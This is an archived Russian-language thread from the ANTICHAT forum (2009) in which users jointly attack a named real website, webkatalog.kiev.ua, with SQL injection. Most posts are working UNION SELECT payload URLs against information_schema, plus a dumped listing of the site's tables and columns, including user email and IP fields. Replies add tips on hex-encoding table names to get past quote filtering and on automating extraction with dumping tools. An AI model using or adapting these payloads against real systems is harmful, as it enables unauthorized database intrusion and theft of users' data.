ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

22.06.2009, 23:32
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
http://www.webkatalog.kiev.ua/section.php?kat=1&subkat=-1+union+select+1,2,3,4,table_name,6,7,8,9,10,11,12 ,13,14,15,16,17+from+information_schema.tables+--
ТЫ не поставил комментарий, он нужен для того чтобы обрубить "AND status=1 ORDER BY ocenka desc, view desc, date2 asc LIMIT 0,10 "
|
|
|

22.06.2009, 23:33
|
|
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
Провел на форуме: 3020589
Репутация:
240
|
|
так там всего 3 поля, откуда ты 17 то взял?
Вот в виде table_schema,table_name,column_name:
Код:
webkat_baze:0links:id
webkat_baze:0links:name
webkat_baze:0links:text
webkat_baze:0links:url
webkat_baze:0links:date1
webkat_baze:0links:date2
webkat_baze:kat:id
webkat_baze:kat:name
webkat_baze:links_partner:date
webkat_baze:links_partner:links
webkat_baze:links_partner:id
webkat_baze:site:id
webkat_baze:site:kat
webkat_baze:site:subkat
webkat_baze:site:url
webkat_baze:site:name
webkat_baze:site:info
webkat_baze:site:keywords
webkat_baze:site:status
webkat_baze:site:date
webkat_baze:site:date2
webkat_baze:site:iphost
webkat_baze:site:view
webkat_baze:site:user
webkat_baze:site:email
webkat_baze:site:nashbutton
webkat_baze:site:ocenka
webkat_baze:site:tmp2
webkat_baze:subkat:id
webkat_baze:subkat:kat
webkat_baze:subkat:name
Последний раз редактировалось M.W.N.N.; 22.06.2009 в 23:37..
|
|
|

22.06.2009, 23:36
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
http://www.webkatalog.kiev.ua/section.php?kat=1&subkat=-1%20union%20select+1,2,3,4,column_name,6,7,8,9,10, 11,12,13,14,15,16,17%20from%20information_schema.c olumns+where+table_name=0x555345525f50524956494c45 474553+--&page=1
|
|
|

22.06.2009, 23:36
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме: 2052341
Репутация:
95
|
|
M.W.N.N., я тоже сначала так считал, но при 3-х полях мне не выводился принтабельный столбец!
|
|
|

22.06.2009, 23:39
|
|
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
Провел на форуме: 3020589
Репутация:
240
|
|
Все там отлично выводится, принтабельное поле после слов: Каталог > Авто/мото >
Смотри выше, я выложил в пред идущем посте таблицы и колонки
Последний раз редактировалось M.W.N.N.; 22.06.2009 в 23:48..
|
|
|

22.06.2009, 23:47
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме: 2052341
Репутация:
95
|
|
M.W.N.N., можешь рассказать, как ты такую таблицу вывел, пожалуйста)
|
|
|

22.06.2009, 23:50
|
|
Участник форума
Регистрация: 05.01.2009
Сообщений: 191
Провел на форуме: 3020589
Репутация:
240
|
|
Через дампер
|
|
|

23.06.2009, 00:15
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме: 2052341
Репутация:
95
|
|
Krist_ALL, может и тупой вопрос, но всё же, почему же тогда запрос http://www.webkatalog.kiev.ua/section.php?kat=1&subkat=-1+union+select+1,2,3,4,column_name,6,7,8,9,10,11,1 2,13,14,15,16,17+from+information_schema.columns+w here+table_name=%27user%27+--
не катит?)
|
|
|

23.06.2009, 00:23
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме: 14324684
Репутация:
3908
|
|
Сообщение от jecka3000
Krist_ALL, может и тупой вопрос, но всё же, почему же тогда запрос http://www.webkatalog.kiev.ua/section.php?kat=1&subkat=-1+union+select+1,2,3,4,column_name,6,7,8,9,10,11,1 2,13,14,15,16,17+from+information_schema.columns+w here+table_name=%27user%27+--
не катит?)
нет там таблицы user, и в любом случае при таком методе имя таблицы переводи в HEX, когда кавычки фильтруются.
__________________
Feci, quod potui. Faciant meliora potentes.
|
|
|

23.06.2009, 00:38
|
|
Banned
Регистрация: 14.01.2009
Сообщений: 515
Провел на форуме: 1996429
Репутация:
468
|
|
Чтобы руками не перебирать все, юзаем sipt. но КТО НЕ ЗНАЕТ КАК СДЕЛАТЬ РУКАМИ ИНЕКЦИЮ НЕ ЮЗАЙТЕ СИПТ! Если что-то делать, так с умом.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|